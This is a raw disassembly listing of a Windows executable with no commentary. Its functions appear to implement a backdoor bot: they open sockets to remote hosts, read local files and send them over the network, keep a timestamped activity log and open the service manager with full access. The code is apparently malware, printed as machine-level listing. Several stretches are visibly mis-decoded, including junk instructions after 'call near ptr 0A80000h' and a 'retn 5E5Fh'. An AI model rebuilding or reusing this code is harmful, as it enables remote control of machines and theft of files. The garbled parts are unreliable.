		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_42B970
		call	sub_415570
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_415570
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_415570
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_415570
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	ds:dword_43A290
		test	eax, eax
		jz	loc_40AFE5
		cmp	[ebp+var_34], ebx
		jbe	short loc_40AF22
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_416D40
		add	esp, 0Ch


loc_40AF22:				; CODE XREF: sub_40AE4B+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_40AF40
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_416D40
		add	esp, 0Ch


loc_40AF40:				; CODE XREF: sub_40AE4B+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_40AF5A
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_416D40
		add	esp, 0Ch


loc_40AF5A:				; CODE XREF: sub_40AE4B+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_40AF74
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_416D40
		add	esp, 0Ch


loc_40AF74:				; CODE XREF: sub_40AE4B+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	ds:dword_43A338
		call	ds:dword_43A35C
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40AFFD
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	ds:dword_43A350
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_40B004
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	ds:dword_43A304
		test	eax, eax
		jz	short loc_40AFDE
		push	offset dword_42B940
		jmp	short loc_40B009
; ---------------------------------------------------------------------------


loc_40AFDE:				; CODE XREF: sub_40AE4B+18Aj
		push	offset unk_42B8F0
		jmp	short loc_40B009
; ---------------------------------------------------------------------------


loc_40AFE5:				; CODE XREF: sub_40AE4B+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_42B8C0
		push	eax
		call	sub_4154E9
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_40B017
; ---------------------------------------------------------------------------


loc_40AFFD:				; CODE XREF: sub_40AE4B+153j
		push	offset unk_42B880
		jmp	short loc_40B009
; ---------------------------------------------------------------------------


loc_40B004:				; CODE XREF: sub_40AE4B+17Bj
		push	offset unk_42B83C


loc_40B009:				; CODE XREF: sub_40AE4B+191j
					; sub_40AE4B+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx


loc_40B017:				; CODE XREF: sub_40AE4B+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_40B042
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_412D4E
		add	esp, 14h


loc_40B042:				; CODE XREF: sub_40AE4B+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	esi
		call	ds:dword_43A3BC
		push	[ebp+var_4]
		call	ds:dword_43A3BC
		push	[ebp+var_1D8]
		call	sub_4152B1
		pop	ecx
		push	ebx
		call	near ptr 0A80000h
		push	ecx
		pop	edi
		pop	esi
		pop	ebx
sub_40AE4B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B075	proc near		; CODE XREF: seg000:004111A8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43E798
		mov	edi, 0B8h


loc_40B089:				; CODE XREF: sub_40B075+33j
		cmp	byte ptr [esi],	0
		jz	short loc_40B0AC
		push	[ebp+arg_0]
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B0AC
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43F318
		jl	short loc_40B089
		jmp	short loc_40B0EE
; ---------------------------------------------------------------------------


loc_40B0AC:				; CODE XREF: sub_40B075+17j
					; sub_40B075+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43E798[esi]
		push	ebx
		call	sub_415570
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_416D40
		push	9Fh
		lea	eax, dword_43E7B0[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_416D40
		add	esp, 24h
		inc	ds:dword_42E784
		pop	ebx


loc_40B0EE:				; CODE XREF: sub_40B075+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40B075	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B0F5	proc near		; CODE XREF: seg000:004123DFp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_42B980
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43E798


loc_40B11F:				; CODE XREF: sub_40B0F5+72j
		cmp	byte ptr [esi],	0
		jz	short loc_40B15A
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_42B974
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_415A6A
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 2Ch


loc_40B15A:				; CODE XREF: sub_40B0F5+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43F318
		jl	short loc_40B11F
		pop	edi
		pop	esi
		leave
		retn
sub_40B0F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B16D	proc near		; CODE XREF: start+97p
					; seg000:004013C6p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	ds:dword_42105C	; GetLocalTime
		mov	ebx, offset dword_43E754
		mov	edi, 80h
		mov	esi, offset dword_43A754


loc_40B18F:				; CODE XREF: sub_40B16D+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40B1A6
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_416D40
		add	esp, 0Ch


loc_40B1A6:				; CODE XREF: sub_40B16D+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_40B18F
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_415A6A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B16D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B1E1	proc near		; CODE XREF: sub_407BFE+15Bp
					; seg000:00407F35p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41748F
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40B16D
		add	esp, 14h
		leave
		retn
sub_40B1E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B20D	proc near		; CODE XREF: seg000:004122D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_43A754
		xor	ecx, ecx


loc_40B214:				; CODE XREF: sub_40B20D+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_43E754
		jl	short loc_40B214
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_42B9B4
		jnz	short loc_40B244
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_412D4E
		add	esp, 14h


loc_40B244:				; CODE XREF: sub_40B20D+1Fj
		push	esi
		call	sub_40B16D
		pop	ecx
		pop	esi
		retn
sub_40B20D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B24D	proc near		; CODE XREF: sub_4033CB+298p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_43A754


loc_40B253:				; CODE XREF: sub_40B24D+27j
		cmp	byte ptr [esi],	0
		jz	short loc_40B268
		push	[esp+4+arg_0]
		push	esi
		call	sub_409B42
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B27A


loc_40B268:				; CODE XREF: sub_40B24D+9j
		add	esi, 80h
		cmp	esi, offset dword_43E754
		jl	short loc_40B253
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B27A:				; CODE XREF: sub_40B24D+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_40B24D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B27F	proc near		; DATA XREF: seg000:00412389o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_40B2D2
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_42BA1C
		push	eax
		push	[ebp+var_11C]
		call	sub_412D4E
		add	esp, 14h


loc_40B2D2:				; CODE XREF: sub_40B27F+33j
		cmp	[ebp+var_98], 0
		jz	short loc_40B2F2
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_40B2F2
		mov	[ebp+var_8], eax


loc_40B2F2:				; CODE XREF: sub_40B27F+5Aj
					; sub_40B27F+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_43A754


loc_40B2FB:				; CODE XREF: sub_40B27F+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_40B355
		cmp	byte ptr [esi],	0
		jz	short loc_40B344
		cmp	[ebp+var_98], 0
		jz	short loc_40B32A
		cmp	[ebp+var_4], 0
		jnz	short loc_40B32A
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_409B42
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B344


loc_40B32A:				; CODE XREF: sub_40B27F+90j
					; sub_40B27F+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_412D4E
		add	esp, 14h


loc_40B344:				; CODE XREF: sub_40B27F+87j
					; sub_40B27F+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_43E754
		jl	short loc_40B2FB


loc_40B355:				; CODE XREF: sub_40B27F+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_42B9EC
		push	eax
		call	sub_4154E9
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_40B38F
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_412D4E
		add	esp, 14h


loc_40B38F:				; CODE XREF: sub_40B27F+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_40B16D
		push	[ebp+var_18]
		call	sub_4152B1
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A80000h
		retn	5E5Fh
sub_40B27F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B3AE	proc near		; CODE XREF: sub_409E15+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_42BA40
		xor	esi, esi
		mov	ebx, offset aCopicTilevb ; "Copic Tilevb"


loc_40B3C1:				; CODE XREF: sub_40B3AE+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	ds:dword_43A33C
		cmp	[ebp+arg_0], esi
		jz	short loc_40B3FB
		push	[ebp+arg_0]
		call	sub_415CF0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_43A3AC
		jmp	short loc_40B405
; ---------------------------------------------------------------------------


loc_40B3FB:				; CODE XREF: sub_40B3AE+2Fj
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_43A2F4


loc_40B405:				; CODE XREF: sub_40B3AE+4Bj
		push	[ebp+var_4]
		call	ds:dword_43A364
		add	edi, 8
		cmp	edi, offset dword_42BA58
		jl	short loc_40B3C1
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B3AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B41E	proc near		; CODE XREF: sub_40B459+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_40B453
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_40B437:				; CODE XREF: sub_40B41E+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, ds:dword_42125C[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_40B437
		pop	edi
		pop	ebx


loc_40B453:				; CODE XREF: sub_40B41E+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_40B41E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B459	proc near		; CODE XREF: seg000:0040BF39p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_415DC9
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_415BE8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_40B4A8


loc_40B47E:				; CODE XREF: sub_40B459+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_40B4AC
		inc	ebx
		push	ebx
		push	esi
		call	sub_4174DF
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40B4A8
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_416BB0
		add	esp, 10h
		jmp	short loc_40B47E
; ---------------------------------------------------------------------------


loc_40B4A8:				; CODE XREF: sub_40B459+23j
					; sub_40B459+39j
		xor	eax, eax
		jmp	short loc_40B4C7
; ---------------------------------------------------------------------------


loc_40B4AC:				; CODE XREF: sub_40B459+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_40B41E
		push	esi
		mov	ebx, eax
		call	sub_415E3D
		push	edi
		call	sub_415B40
		add	esp, 10h
		mov	eax, ebx


loc_40B4C7:				; CODE XREF: sub_40B459+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40B459	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4CB	proc near		; CODE XREF: seg000:0040B584p
					; seg000:0040BB70p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	ds:dword_43A408
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_40B547
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	ds:dword_43A388
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	ds:dword_43A3C8
		cmp	eax, esi
		jnz	short loc_40B52C
		push	[ebp+arg_0]
		call	ds:dword_43A40C
		test	eax, eax
		jz	short loc_40B547
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_40B52C:				; CODE XREF: sub_40B4CB+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	ds:dword_43A330
		cmp	eax, esi
		jnz	short loc_40B54B
		push	edi
		call	ds:dword_43A420


loc_40B547:				; CODE XREF: sub_40B4CB+1Bj
					; sub_40B4CB+58j
		mov	eax, esi
		jmp	short loc_40B54D
; ---------------------------------------------------------------------------


loc_40B54B:				; CODE XREF: sub_40B4CB+73j
		mov	eax, edi


loc_40B54D:				; CODE XREF: sub_40B4CB+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40B4CB	endp

; ---------------------------------------------------------------------------


loc_40B551:				; DATA XREF: seg000:0040D8CEo
		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_415D70
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1B4h]
		rep movsd
		push	1
		pop	esi
		push	dword ptr [ebp-14h]
		mov	[eax+1B0h], esi
		lea	eax, [ebp-1ACh]
		push	eax
		call	sub_40B4CB
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40B5E4
		lea	eax, [ebp-11B4h]
		push	offset dword_42BAE4
		push	eax
		call	sub_4154E9
		xor	edi, edi
		pop	ecx
		cmp	[ebp-8], edi
		pop	ecx
		jnz	short loc_40B5C7
		push	edi
		lea	eax, [ebp-11B4h]
		push	dword ptr [ebp-0Ch]
		push	eax
		lea	eax, [ebp-94h]
		push	eax
		push	ebx
		call	sub_412D4E
		add	esp, 14h


loc_40B5C7:				; CODE XREF: seg000:0040B5AAj
		lea	eax, [ebp-11B4h]
		push	eax
		call	sub_40B16D
		push	dword ptr [ebp-10h]
		call	sub_4152B1
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A80000h
		inc	eax


loc_40B5E4:				; CODE XREF: seg000:0040B590j
		push	offset byte_438FAC
		push	ebx
		call	sub_40A7FD
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40B64F
		lea	eax, [ebp-11B4h]
		push	offset dword_42BAA0
		push	eax
		call	sub_4154E9
		xor	edi, edi
		pop	ecx
		cmp	[ebp-8], edi
		pop	ecx
		jnz	short loc_40B62B
		push	edi
		lea	eax, [ebp-11B4h]
		push	dword ptr [ebp-0Ch]
		push	eax
		lea	eax, [ebp-94h]
		push	eax
		push	ebx
		call	sub_412D4E
		add	esp, 14h


loc_40B62B:				; CODE XREF: seg000:0040B60Ej
		lea	eax, [ebp-11B4h]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	ebx
		call	ds:dword_43A420
		push	dword ptr [ebp-10h]
		call	sub_4152B1
		pop	ecx
		push	esi
		call	near ptr 0A80000h
		stosb


loc_40B64F:				; CODE XREF: seg000:0040B5F4j
		push	64h
		call	ds:dword_421060	; Sleep
		xor	edi, edi
		mov	esi, 1000h


loc_40B65E:				; CODE XREF: seg000:0040B6B9j
		push	esi
		lea	eax, [ebp-11B4h]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp-11B4h]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43A3A0
		test	eax, eax
		jle	short loc_40B6BB
		lea	eax, [ebp-11B4h]
		push	offset asc_426C9C ; "\n"
		push	eax
		call	sub_415C10
		lea	eax, [ebp-11B4h]
		push	eax
		call	sub_40A5E9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40B6BB
		push	64h
		call	ds:dword_421060	; Sleep
		push	7
		call	sub_4151DD
		test	eax, eax
		pop	ecx
		jnz	short loc_40B65E


loc_40B6BB:				; CODE XREF: seg000:0040B681j
					; seg000:0040B6A5j
		lea	eax, [ebp-11B4h]
		push	offset dword_42BA58
		push	eax
		call	sub_4154E9
		cmp	[ebp-8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40B6EE
		push	edi
		lea	eax, [ebp-11B4h]
		push	dword ptr [ebp-0Ch]
		push	eax
		lea	eax, [ebp-94h]
		push	eax
		push	ebx
		call	sub_412D4E
		add	esp, 14h


loc_40B6EE:				; CODE XREF: seg000:0040B6D1j
		lea	eax, [ebp-11B4h]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	ebx
		call	ds:dword_43A420
		push	dword ptr [ebp-10h]
		call	sub_4152B1
		pop	ecx
		push	edi
		call	near ptr 0A80000h
		and	[ebp-75h], dl
		in	al, dx
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	ds:dword_43A408
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_40B760
		push	offset dword_42BC84
		jmp	loc_40B919
; ---------------------------------------------------------------------------


loc_40B760:				; CODE XREF: seg000:0040B754j
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	ds:dword_43A388
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	ds:dword_43A3B4
		test	eax, eax
		jz	short loc_40B79E
		push	offset dword_42BC4C
		jmp	loc_40B919
; ---------------------------------------------------------------------------


loc_40B79E:				; CODE XREF: seg000:0040B792j
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	ds:dword_43A32C
		push	dword ptr [ebp-2Eh]
		call	ds:dword_43A2C4
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_415CF0
		pop	ecx


loc_40B7D0:				; CODE XREF: seg000:0040B801j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_40B7E3
		push	5Fh
		pop	eax
		jmp	short loc_40B7E6
; ---------------------------------------------------------------------------


loc_40B7E3:				; CODE XREF: seg000:0040B7DCj
		movsx	eax, al


loc_40B7E6:				; CODE XREF: seg000:0040B7E1j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_415CF0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_40B7D0
		push	ebx
		push	edi
		call	ds:dword_43A3B0
		test	eax, eax
		jz	short loc_40B819
		push	offset dword_42BAE4
		jmp	loc_40B919
; ---------------------------------------------------------------------------


loc_40B819:				; CODE XREF: seg000:0040B80Dj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		call	ds:dword_421078	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_40B843
		push	offset dword_42BC18
		jmp	loc_40B919
; ---------------------------------------------------------------------------


loc_40B843:				; CODE XREF: seg000:0040B837j
		push	esi
		push	eax
		call	near ptr 0A80000h
		fimul	word ptr [ecx+0F500845h]
		mov	bh, 45h
		cld
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40A171
		pop	ecx
		push	eax
		call	ds:dword_43A3C8
		push	eax
		call	ds:dword_43A384
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_42BC00
		push	eax
		call	sub_4154E9
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_412D4E
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	ds:dword_43A370
		test	eax, eax
		jg	short loc_40B8F3
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_42BBD4
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_412D4E
		jmp	loc_40BA17
; ---------------------------------------------------------------------------


loc_40B8F3:				; CODE XREF: seg000:0040B8D1j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	ds:dword_43A41C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_40B92C
		push	offset dword_42BB9C


loc_40B919:				; CODE XREF: seg000:0040B75Bj
					; seg000:0040B799j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx
		jmp	loc_40BA1A
; ---------------------------------------------------------------------------


loc_40B92C:				; CODE XREF: seg000:0040B912j
		push	edi
		call	ds:dword_43A420
		cmp	[ebp+8], esi
		jz	loc_40B9DE
		mov	edi, 400h


loc_40B941:				; CODE XREF: seg000:0040B9D5j
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_40B94E
		mov	[ebp-4], eax


loc_40B94E:				; CODE XREF: seg000:0040B949j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_415570
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		call	ds:dword_4210AC	; SetFilePointer
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		call	ds:dword_421068	; ReadFile
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	ds:dword_43A3D8
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	ds:dword_43A3A0
		cmp	eax, ebx
		jl	near ptr loc_40BA72+1
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	near ptr loc_40BA72+1
		sub	[ebp+8], eax
		jnz	loc_40B941
		mov	edi, [ebp-18h]


loc_40B9DE:				; CODE XREF: seg000:0040B936j
		push	dword ptr [ebp-8]
